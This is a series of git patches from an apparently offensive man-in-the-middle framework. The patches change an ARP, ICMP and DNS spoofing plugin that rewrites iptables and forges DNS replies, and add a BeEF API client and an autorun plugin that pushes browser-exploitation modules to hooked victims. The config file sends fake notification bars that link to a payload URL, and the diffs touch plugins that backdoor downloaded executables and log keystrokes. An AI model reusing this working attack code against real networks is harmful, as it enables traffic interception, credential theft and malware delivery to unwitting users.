From 3dc72831091c23486bd739c78f16d6d57c61d67f Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 12 Aug 2014 19:46:02 +0200 Subject: [PATCH 001/323] Merged patch from Alexander Georgiev (alexander.georgiev@daloo.de) to disable automatic setup & flushing of iptables rules --- bdfactory | 2 +- plugins/Spoof.py | 18 ++++++++++++------ 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/bdfactory b/bdfactory index 35d67b8..2e1baf5 160000 --- a/bdfactory +++ b/bdfactory @@ -1 +1 @@ -Subproject commit 35d67b82050a7e7315132185129f5e65a0893b75 +Subproject commit 2e1baf59cd11bfba38781ec536be930e28cec07c diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 052770c..8b1c471 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -41,6 +41,7 @@ class Spoof(Plugin): self.target = options.target self.arpmode = options.arpmode self.port = self.options.listen + self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de self.debug = False self.send = True @@ -51,7 +52,8 @@ class Spoof(Plugin): self.debug = True print "[*] Spoof plugin online" - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') + if not self.manualiptables: + os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') if self.arp == True: if self.icmp == True: @@ -95,15 +97,17 @@ class Spoof(Plugin): elif self.dnscfg: self.dnscfg = ConfigObj(self.dnscfg) - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') + if not self.manualiptables: + os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') print "[*] DNS Spoofing enabled" self.start_dns_queue() - print '[*] Setting up ip_forward and iptables' file = open('/proc/sys/net/ipv4/ip_forward', 'w') file.write('1') file.close() - os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port) + if not self.manualiptables: + print '[*] Setting up iptables rules' + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port) t = threading.Thread(name='send_packets', target=self.send_packets, args=(pkt,self.interface,self.debug,)) t.setDaemon(True) @@ -198,15 +202,17 @@ class Spoof(Plugin): options.add_argument('--domain', type=str, dest='domain', help='Domain to spoof [e.g google.com]') options.add_argument('--dnsip', type=str, dest='dnsip', help='IP address to resolve dns queries to') options.add_argument("--dnscfg", type=file, help="Specify a config file") + options.add_argument('--manualiptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables of flush iptables rules automatically') def finish(self): self.send = False sleep(3) - print '\n[*] Resetting ip_forward and iptables' file = open('/proc/sys/net/ipv4/ip_forward', 'w') file.write('0') file.close() - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') + if not self.manualiptables: + print '\n[*] Flushing iptables rules' + os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') if self.dns == True: self.q.unbind(socket.AF_INET) From e56f813181b47c0c1e89fab1862ef73e87a7a4c8 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 12 Aug 2014 19:59:09 +0200 Subject: [PATCH 002/323] updated bdfactory to latest commit --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index fad281d..e19a51b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ *.pyc /plugins/old_plugins/ backdoored/ +bdfactory/ From 4754305b9a355c50ce62df80f7db8a12bb608e48 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 12 Aug 2014 20:55:22 +0200 Subject: [PATCH 003/323] minor code style fixes --- plugins/Spoof.py | 71 ++++++++++++++++++++++++------------------------ 1 file changed, 36 insertions(+), 35 deletions(-) diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 8b1c471..9bb24a0 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -8,7 +8,7 @@ from plugins.plugin import Plugin from time import sleep import nfqueue import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * import os import sys @@ -19,13 +19,14 @@ try: except: sys.exit('[-] configobj library not installed!') + class Spoof(Plugin): name = "Spoof" optname = "spoof" desc = 'Redirect traffic using ICMP, ARP or DNS' has_opts = True - def initialize(self,options): + def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.interface = options.interface @@ -55,8 +56,8 @@ class Spoof(Plugin): if not self.manualiptables: os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') - if self.arp == True: - if self.icmp == True: + if self.arp: + if self.icmp: sys.exit("[-] --arp and --icmp are mutually exclusive") if (not self.interface or not self.gateway): @@ -70,19 +71,19 @@ class Spoof(Plugin): elif self.arpmode == 'rep': pkt = self.build_arp_rep() - elif self.icmp == True: - if self.arp == True: + elif self.icmp: + if self.arp: sys.exit("[-] --icmp and --arp are mutually exclusive") if (not self.interface or not self.gateway or not self.target): sys.exit("[-] ICMP Redirection requires --gateway, --iface and --target") - + self.mac = get_if_hwaddr(self.interface) self.routermac = getmacbyip(self.gateway) print "[*] ICMP Redirection enabled" pkt = self.build_icmp() - if self.summary == True: + if self.summary: pkt.show() ans = raw_input('\n[*] Continue? [Y|n]: ').lower() if ans == 'y' or len(ans) == 0: @@ -90,13 +91,13 @@ class Spoof(Plugin): else: sys.exit(0) - if self.dns == True: + if self.dns: if not self.dnscfg: if (not self.dnsip or not self.domain): sys.exit("[-] DNS Spoofing requires --domain, --dnsip") elif self.dnscfg: self.dnscfg = ConfigObj(self.dnscfg) - + if not self.manualiptables: os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') print "[*] DNS Spoofing enabled" @@ -109,40 +110,40 @@ class Spoof(Plugin): print '[*] Setting up iptables rules' os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port) - t = threading.Thread(name='send_packets', target=self.send_packets, args=(pkt,self.interface,self.debug,)) + t = threading.Thread(name='send_packets', target=self.send_packets, args=(pkt, self.interface, self.debug,)) t.setDaemon(True) t.start() - - def send_packets(self,pkt,interface, debug): - while self.send == True: + + def send_packets(self, pkt, interface, debug): + while self.send: sendp(pkt, inter=2, iface=interface, verbose=debug) - + def build_icmp(self): - pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface))/\ + pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface)) /\ IP(src=self.target, dst=self.gateway)/UDP() return pkt def build_arp_req(self): - if self.target == None: + if self.target is None: pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway) elif self.target: target_mac = getmacbyip(self.target) - if target_mac == None: + if target_mac is None: sys.exit("[-] Error: Could not resolve targets MAC address") - + pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target) - + return pkt def build_arp_rep(self): - if self.target == None: + if self.target is None: pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2) elif self.target: target_mac = getmacbyip(self.target) - if target_mac == None: + if target_mac is None: sys.exit("[-] Error: Could not resolve targets MAC address") - + pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2) return pkt @@ -154,16 +155,16 @@ class Spoof(Plugin): payload.set_verdict(nfqueue.NF_ACCEPT) else: if self.dnscfg: - for k,v in self.dnscfg.items(): + for k, v in self.dnscfg.items(): if k in pkt[DNS].qd.qname: self.modify_dns(payload, pkt, v) - + elif self.domain in pkt[DNS].qd.qname: self.modify_dns(payload, pkt, self.dnsip) def modify_dns(self, payload, pkt, ip): - spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ - UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ + spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ + UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=ip)) payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) @@ -176,16 +177,16 @@ class Spoof(Plugin): self.q.set_queue_maxlen(5000) reactor.addReader(self) self.q.set_mode(nfqueue.NFQNL_COPY_PACKET) - + def fileno(self): return self.q.get_fd() - + def doRead(self): self.q.process_pending(100) - + def connectionLost(self, reason): reactor.removeReader(self) - + def logPrefix(self): return 'queue' @@ -214,11 +215,11 @@ class Spoof(Plugin): print '\n[*] Flushing iptables rules' os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') - if self.dns == True: + if self.dns: self.q.unbind(socket.AF_INET) self.q.close() - - if self.arp == True: + + if self.arp: print '[*] Re-arping network' pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2) - sendp(pkt, inter=1, count=5, iface=self.interface) \ No newline at end of file + sendp(pkt, inter=1, count=5, iface=self.interface) From e7cc6316f15cb2a0d3a7fce6068e2d0b0fbb3c68 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 13 Aug 2014 01:00:12 +0200 Subject: [PATCH 004/323] added beefapi lib --- libs/beefapi.py | 151 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 151 insertions(+) create mode 100644 libs/beefapi.py diff --git a/libs/beefapi.py b/libs/beefapi.py new file mode 100644 index 0000000..75283eb --- /dev/null +++ b/libs/beefapi.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python +import requests +import json +from random import sample +from time import sleep +from string import lowercase, digits +from unicodedata import normalize + + +class BeefAPI: + + def __init__(self, opts=[]): + self.host = "127.0.0.1" or opts.get(host) + self.port = "3000" or opts.get(port) + self.token = None + self.url = "http://%s:%s/api/" % (self.host, self.port) + self.login_url = self.url + "admin/login" + self.hookurl = self.url + "hooks?token=" + self.mod_url = self.url + "modules?token=" + self.log_url = self.url + "logs?token=" + + def random_url(self): + url = "".join(sample(digits + lowercase, 8)) + return url + + def login(self, username, password): + try: + auth = json.dumps({"username": username, "password": password}) + r = requests.post(self.login_url, data=auth) + data = r.json() + + if (r.status_code == 200) and (data["success"]): + self.token = data["token"] #Auth token + return True + elif r.status_code != 200: + return False + + except Exception, e: + print "beefapi ERROR: %s" % e + + def onlineSessions(self): + return self.get_sessions("online", "session") + + def offlineSessions(self): + return self.get_sessions("offline", "session") + + def onlineHosts(self): + return self.get_sessions("online", "ip") + + def offlineHosts(self): + return self.get_sessions("offline", "ip") + + def get_sessions(self, state, value): + r = requests.get(self.hookurl).json() + hooks = [] + try: + for v in r["hooked-browsers"][state].items(): + hooks.append(str(v[1][value])) + return hooks + except Exception, e: + print "beefapi ERROR: %s" % e + + def getModid(self, name): #Returns module id + url = self.url + "%s" % (self.token) + r = requests.get(url).json() + try: + for v in r.values(): + if v["name"] == name: + return v["id"] + except KeyError: + print "beefapi ERROR: module '" + name + "' not found!" + return None + + def getModname(self, id): #Returns module name + url = self.url + "modules?token=%s" % (self.token) + r = requests.get(url).json() + try: + for v in r.values(): + if v["id"] == id: + return v["name"] + except KeyError: + print "beefapi ERROR: module '" + id + "' not found!" + return None + + def host2session(self, ip): # IP => Session + url = self.url + "hooks?token=%s" % (self.token) + r = requests.get(url).json() + try: + for v in r["hooked-browsers"]["online"].items(): + if v[1]["ip"] == ip: + return v[1]["session"] + else: + session = None + + if session == None: + for v in r["hooked-browsers"]["offline"].items(): + if v[1]["ip"] == ip: + return v[1]["session"] + else: + return None + + except KeyError: + pass + + def session2host(self, session): # Session => IP + url = self.url + "hooks?token=%s" % (self.token) + r = requests.get(url).json() + + try: + for v in r["hooked-browsers"]["online"].items(): + if v[1]["session"] == session: + return v[1]["ip"] + else: + ip = None + + if ip == None: + for v in r["hooked-browsers"]["offline"].items(): + if v[1]["session"] == session: + return v[1]["ip"] + else: + return None + except KeyError: + pass + + def runModule(self, session, mod_id, options={}): #Executes a module on a specified session + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token) + return requests.post(url, headers=headers, data=payload).json() + + def moduleResult(self, session, mod_id, cmd_id): + url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token) + return requests.get(url).json() + + def sessionInfo(self, session): #Returns parsed information on a session + url = self.url + "hooks/%s?token=%s" % (session, self.token) + return requests.get(url).json() + + def logs(self): + return requests.get(self.log_url + self.token).json() + + def sessionLogs(self, session): + url = self.url + "logs/%s?token=%s" % (session, self.token) + return requests.get(url).json() + + def listModules(self): + return requests.get(self.mod_url + self.token).json() + + def moduleInfo(self, id): + url = self.url + "modules/%s?token=%s" % (id, self.token) + return requests.get(url).json() From 73e7ca2f3dc7d5f0e204273484a7bc47764cfbbf Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 14 Aug 2014 11:30:44 +0200 Subject: [PATCH 005/323] code cleanup on all plugins, disabled annoying "Starting new HTTP Connection" log message, added BeefAutorun plugin and beefapi lib --- .gitignore | 1 - README.md | 9 ++- config_files/beefautorun.cfg | 31 +++++++++ libs/beefapi.py | 68 +++++++++---------- plugins/AppCachePoison.py | 9 +-- plugins/BeefAutorun.py | 117 ++++++++++++++++++++++++++++++++ plugins/BrowserProfiler.py | 13 ++-- plugins/CacheKill.py | 19 +++--- plugins/FilePwn.py | 31 +++++---- plugins/Inject.py | 94 ++++++++++++++------------ plugins/JavaPwn.py | 125 +++++++++++++++++------------------ plugins/JsKeylogger.py | 7 +- plugins/Replace.py | 58 ++++++++-------- plugins/SMBAuth.py | 16 ++--- plugins/Spoof.py | 2 +- plugins/Upsidedownternet.py | 36 +++++----- plugins/plugin.py | 13 ++-- 17 files changed, 409 insertions(+), 240 deletions(-) create mode 100644 config_files/beefautorun.cfg create mode 100644 plugins/BeefAutorun.py diff --git a/.gitignore b/.gitignore index e19a51b..fad281d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,3 @@ *.pyc /plugins/old_plugins/ backdoored/ -bdfactory/ diff --git a/README.md b/README.md index fb38ca7..4f1b140 100644 --- a/README.md +++ b/README.md @@ -9,6 +9,7 @@ This tool is completely based on sergio-proxy https://code.google.com/p/sergio-p Availible plugins: - Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects +- BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type - AppCachePoison - Perform app cache poison attacks - BrowserProfiler - Attempts to enumerate all browser plugins of connected clients - CacheKill - Kills page caching by modifying headers @@ -22,7 +23,7 @@ Availible plugins: So far the most significant changes have been: -- Spoof plugin is live !! Supports ICMP, ARP and DNS spoofing +- Spoof plugin now supports ICMP, ARP and DNS spoofing (DNS Spoofing code was stolen from https://github.com/DanMcInerney/dnsspoof/) - Usage of third party tools has been completely removed (e.g. ettercap) @@ -31,13 +32,17 @@ So far the most significant changes have been: - Addition of the JsKeylogger plugin +- Addition of the BeefAutorun plugin + - FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy - Added msfrpc.py for interfacing with Metasploits rpc server +- Added beefapi.py for interfacing with BeEF's RESTfulAPI + - Added Replace plugin - Addition of the app-cache poisoning attack by Krzysztof Kotowicz -- JavaPwn plugin now live! Auto-detect and exploit clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!! +- JavaPwn plugin auto-detects and exploits clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!! diff --git a/config_files/beefautorun.cfg b/config_files/beefautorun.cfg new file mode 100644 index 0000000..f48760b --- /dev/null +++ b/config_files/beefautorun.cfg @@ -0,0 +1,31 @@ +#Example config file for the BeefAutorun plugin + +mode = oneshot #can be set to loop, or oneshot + +#in loop mode the plugin will run modules on all hooked browsers every 10 seconds +#in oneshot mode the plugin will run modules only once per hooked browser + +[ALL] #Runs specified modules on all hooked browsers + +'Man-In-The-Browser'= '{}' + + +[targets] #Runs specified modules based on OS and Browser type + + [[Windows]] #Target all Windows versions using Firefox and Internet Explorer + + [[[FF]]] + 'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}' + + [[[IE]]] + 'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}' + + [[Windows 7]] #Target only Windows 7 using Chrome + + [[[C]]] + 'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}' + + [[Linux]] #Target Linux platforms using Chrome + + [[[C]]] + 'Redirect Browser (Rickroll)' = '{}' \ No newline at end of file diff --git a/libs/beefapi.py b/libs/beefapi.py index 75283eb..f9559f6 100644 --- a/libs/beefapi.py +++ b/libs/beefapi.py @@ -2,9 +2,7 @@ import requests import json from random import sample -from time import sleep from string import lowercase, digits -from unicodedata import normalize class BeefAPI: @@ -34,7 +32,7 @@ class BeefAPI: return True elif r.status_code != 200: return False - + except Exception, e: print "beefapi ERROR: %s" % e @@ -51,9 +49,9 @@ class BeefAPI: return self.get_sessions("offline", "ip") def get_sessions(self, state, value): - r = requests.get(self.hookurl).json() hooks = [] try: + r = requests.get(self.hookurl + self.token).json() for v in r["hooked-browsers"][state].items(): hooks.append(str(v[1][value])) return hooks @@ -61,77 +59,77 @@ class BeefAPI: print "beefapi ERROR: %s" % e def getModid(self, name): #Returns module id - url = self.url + "%s" % (self.token) - r = requests.get(url).json() + url = self.mod_url + self.token try: + r = requests.get(url).json() for v in r.values(): if v["name"] == name: return v["id"] - except KeyError: - print "beefapi ERROR: module '" + name + "' not found!" - return None + except Exception, e: + print "beefapi ERROR: %s" % e def getModname(self, id): #Returns module name - url = self.url + "modules?token=%s" % (self.token) - r = requests.get(url).json() + url = self.mod_url + self.token try: + r = requests.get(url).json() for v in r.values(): if v["id"] == id: return v["name"] - except KeyError: - print "beefapi ERROR: module '" + id + "' not found!" - return None + except Exception, e: + print "beefapi ERROR: %s" % e - def host2session(self, ip): # IP => Session - url = self.url + "hooks?token=%s" % (self.token) - r = requests.get(url).json() + def host2session(self, ip): #IP => Session + url = self.hookurl + self.token try: + r = requests.get(url).json() for v in r["hooked-browsers"]["online"].items(): if v[1]["ip"] == ip: return v[1]["session"] else: session = None - - if session == None: + + if session is None: for v in r["hooked-browsers"]["offline"].items(): if v[1]["ip"] == ip: return v[1]["session"] else: return None - - except KeyError: - pass - def session2host(self, session): # Session => IP - url = self.url + "hooks?token=%s" % (self.token) - r = requests.get(url).json() + except Exception, e: + print "beefapi ERROR: %s" % e + def session2host(self, session): #Session => IP + url = self.hookurl + self.token try: + r = requests.get(url).json() for v in r["hooked-browsers"]["online"].items(): if v[1]["session"] == session: return v[1]["ip"] else: ip = None - - if ip == None: + + if ip is None: for v in r["hooked-browsers"]["offline"].items(): if v[1]["session"] == session: return v[1]["ip"] else: return None - except KeyError: - pass + except Exception, e: + print "beefapi ERROR: %s" % e - def runModule(self, session, mod_id, options={}): #Executes a module on a specified session - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps(options) - url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token) - return requests.post(url, headers=headers, data=payload).json() + def runModule(self, session, mod_id, options={}): #Executes a module on a specified session + try: + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token) + return requests.post(url, headers=headers, data=payload).json() + except Exception, e: + print "beefapi ERROR: %s" % e def moduleResult(self, session, mod_id, cmd_id): url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token) return requests.get(url).json() - + def sessionInfo(self, session): #Returns parsed information on a session url = self.url + "hooks/%s?token=%s" % (session, self.token) return requests.get(url).json() diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index 7ae026a..c9d5244 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -1,19 +1,20 @@ from plugins.plugin import Plugin from sslstrip.ResponseTampererFactory import ResponseTampererFactory -import threading +#import threading + class AppCachePlugin(Plugin): name = "App Cache Poison" optname = "app" desc = "Performs App Cache Poisoning attacks" has_opts = True - - def initialize(self,options): + + def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.config_file = options.tampercfg - if self.config_file == None: + if self.config_file is None: self.config_file = "./config_files/app_cache_poison.cfg" print "[*] App Cache Poison plugin online" diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py new file mode 100644 index 0000000..dd4d3cb --- /dev/null +++ b/plugins/BeefAutorun.py @@ -0,0 +1,117 @@ +from plugins.plugin import Plugin +from time import sleep +import sys +import json +import threading +import logging +import libs.beefapi as beefapi + +try: + from configobj import ConfigObj +except: + sys.exit('[-] configobj library not installed!') + +requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message +requests_log.setLevel(logging.WARNING) + + +class BeefAutorun(Plugin): + name = "BeEFAutorun" + optname = "beefauto" + has_opts = True + desc = "Autoruns BeEF modules based on Browser or OS type" + + def initialize(self, options): + self.options = options + self.autoruncfg = "./config_files/beefautorun.cfg" or options.autoruncfg + self.beefip = options.beefip + self.beefport = options.beefport + self.beefuser = options.beefuser + self.beefpass = options.beefpass + + beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport}) + if beef.login(self.beefuser, self.beefpass): + print "[*] Successfully logged in to BeEF" + else: + sys.exit("[-] Error logging in to BeEF!") + + userconfig = ConfigObj(self.autoruncfg) + self.Mode = userconfig['mode'] + if self.Mode == 'oneshot': + print '[*] Setting mode to oneshot' + elif self.Mode == 'loop': + print '[*] Setting mode to loop' + else: + sys.exit("[-] Error: unrecognized mode set in config file") + + self.All_modules = userconfig["ALL"] + self.Targeted_modules = userconfig["targets"] + + print "[*] BeEFAutorun plugin online" + t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) + t.setDaemon(True) + t.start() + + def autorun(self, beef): + already_hooked = [] + already_ran = [] + while True: + sessions = beef.onlineSessions() + if (sessions is not None) and (len(sessions) > 0): + for session in sessions: + session_ip = beef.session2host(session) + if session not in already_hooked: + logging.info("%s >> joined the horde!" % session_ip) + already_hooked.append(session) + + if self.Mode == 'oneshot': + if session not in already_ran: + self.execModules(session, session_ip, beef) + already_ran.append(session) + + elif self.Mode == 'loop': + self.execModules(session, session_ip, beef) + sleep(10) + + else: + sleep(1) + + def execModules(self, session, session_ip, beef): + session_browser = beef.sessionInfo(session)["BrowserName"] + session_os = beef.sessionInfo(session)["OsName"] + + if len(self.All_modules) > 0: + logging.info("%s >> sending generic modules" % session_ip) + for module, options in self.All_modules.items(): + mod_id = beef.getModid(module) + resp = beef.runModule(session, mod_id, json.loads(options)) + if resp["success"] == 'true': + logging.info('%s >> sent module %s' % (session_ip, mod_id)) + else: + logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) + sleep(0.5) + + logging.info("%s >> sending targeted modules" % session_ip) + for os in self.Targeted_modules: + if (os in session_os) or (os == session_os): + browsers = self.Targeted_modules[os] + if len(browsers) > 0: + for browser in browsers: + if browser == session_browser: + modules = self.Targeted_modules[os][browser] + if len(modules) > 0: + for module, options in modules.items(): + mod_id = beef.getModid(module) + resp = beef.runModule(session, mod_id, json.loads(options)) + if resp["success"] == 'true': + logging.info('%s >> sent module %s' % (session_ip, mod_id)) + else: + logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) + sleep(0.5) + + def add_options(self, options): + options.add_argument('--beefip', dest='beefip', default='127.0.0.1', help="IP of BeEF's server [default: localhost]") + options.add_argument('--beefport', dest='beefport', default='3000', help="Port of BeEF's server [default: 3000]") + options.add_argument('--beefuser', dest='beefuser', default='beef', help='Username for beef [default: beef]') + options.add_argument('--beefpass', dest='beefpass', default='beef', help='Password for beef [default: beef]') + options.add_argument('--autoruncfg', type=file, help='Specify a config file [default: beefautorun.cfg]') diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index de9e404..752b77c 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -3,20 +3,21 @@ from plugins.Inject import Inject from pprint import pformat import logging + class BrowserProfiler(Inject, Plugin): name = "Browser Profiler" optname = "browserprofiler" desc = "Attempts to enumerate all browser plugins of connected clients" - implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"] + implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] has_opts = False - def initialize(self,options): + def initialize(self, options): Inject.initialize(self, options) self.html_payload = self.get_payload() - self.dic_output = {} # so other plugins can access the results + self.dic_output = {} # so other plugins can access the results print "[*] Browser Profiler online" - def post2dict(self, string): #converts the ajax post to a dic + def post2dict(self, string): #converts the ajax post to a dic dict = {} for line in string.split('&'): t = line.split('=') @@ -27,7 +28,7 @@ class BrowserProfiler(Inject, Plugin): #Handle the plugin output if 'clientprfl' in request.uri: self.dic_output = self.post2dict(request.postData) - self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client + self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client pretty_output = pformat(self.dic_output) logging.warning("%s Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) @@ -103,4 +104,4 @@ function make_xhr(){ } """ - return payload \ No newline at end of file + return payload diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py index b33f82e..ad130a4 100644 --- a/plugins/CacheKill.py +++ b/plugins/CacheKill.py @@ -1,24 +1,25 @@ from plugins.plugin import Plugin + class CacheKill(Plugin): name = "CacheKill Plugin" optname = "cachekill" desc = "Kills page caching by modifying headers" - implements = ["handleHeader","connectionMade"] + implements = ["handleHeader", "connectionMade"] has_opts = True - bad_headers = ['if-none-match','if-modified-since'] - - def add_options(self,options): + bad_headers = ['if-none-match', 'if-modified-since'] + + def add_options(self, options): options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).") - - def handleHeader(self,request,key,value): + + def handleHeader(self, request, key, value): '''Handles all response headers''' request.client.headers['Expires'] = "0" request.client.headers['Cache-Control'] = "no-cache" - - def connectionMade(self,request): + + def connectionMade(self, request): '''Handles outgoing request''' request.headers['Pragma'] = 'no-cache' for h in self.bad_headers: if h in request.headers: - request.headers[h] = "" + request.headers[h] = "" diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 5453cff..af7c88a 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -2,7 +2,8 @@ # 99.9999999% of this code is stolen from BDFProxy - https://github.com/secretsquirrel/BDFProxy ################################################################################################# -import sys, os +import sys +import os import pefile import zipfile import logging @@ -18,6 +19,7 @@ try: except: sys.exit('[-] configobj library not installed!') + class FilePwn(Plugin): name = "FilePwn" optname = "filepwn" @@ -33,13 +35,10 @@ class FilePwn(Plugin): elif aString.lower() == 'none': return None - def initialize(self,options): + def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - self.filepwncfg = options.filepwncfg - - if self.filepwncfg == None: - self.filepwncfg = "./config_files/filepwn.cfg" + self.filepwncfg = "./config_files/filepwn.cfg" or options.filepwncfg self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] @@ -48,7 +47,7 @@ class FilePwn(Plugin): #NOT USED NOW #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - + self.userConfig = ConfigObj(self.filepwncfg) self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] @@ -163,7 +162,7 @@ class FilePwn(Plugin): except Exception as e: logging.warning("EXCEPTION IN binaryGrinder %s", str(e)) return None - + def zipGrinder(self, aZipFile): "When called will unpack and edit a Zip File and return a zip file" @@ -262,9 +261,9 @@ class FilePwn(Plugin): os.remove(tmpFile) return aZipFile - - def handleResponse(self,request,data): - + + def handleResponse(self, request, data): + content_header = request.client.headers['Content-Type'] if content_header in self.zipMimeTypes: @@ -272,25 +271,25 @@ class FilePwn(Plugin): bd_zip = self.zipGrinder(data) if bd_zip: logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP()) - return {'request':request,'data':bd_zip} + return {'request': request, 'data': bd_zip} elif content_header in self.binaryMimeTypes: logging.info("%s Detected supported binary type!" % request.client.getClientIP()) fd, tmpFile = mkstemp() with open(tmpFile, 'w') as f: f.write(data) - + patchb = self.binaryGrinder(tmpFile) if patchb: bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() os.remove('./backdoored/' + os.path.basename(tmpFile)) logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP()) - return {'request':request,'data':bd_binary} + return {'request': request, 'data': bd_binary} else: logging.debug("%s File is not of supported Content-Type: %s" % (request.client.getClientIP(), content_header)) - return {'request':request,'data':data} + return {'request': request, 'data': data} def add_options(self, options): - options.add_argument("--filepwncfg", type=file, help="Specify a config file") \ No newline at end of file + options.add_argument("--filepwncfg", type=file, help="Specify a config file") diff --git a/plugins/Inject.py b/plugins/Inject.py index 92203cf..344b5b0 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -1,16 +1,21 @@ -import os,subprocess,logging,time,re +#import os +#import subprocess +import logging +import time +import re import argparse from plugins.plugin import Plugin from plugins.CacheKill import CacheKill -class 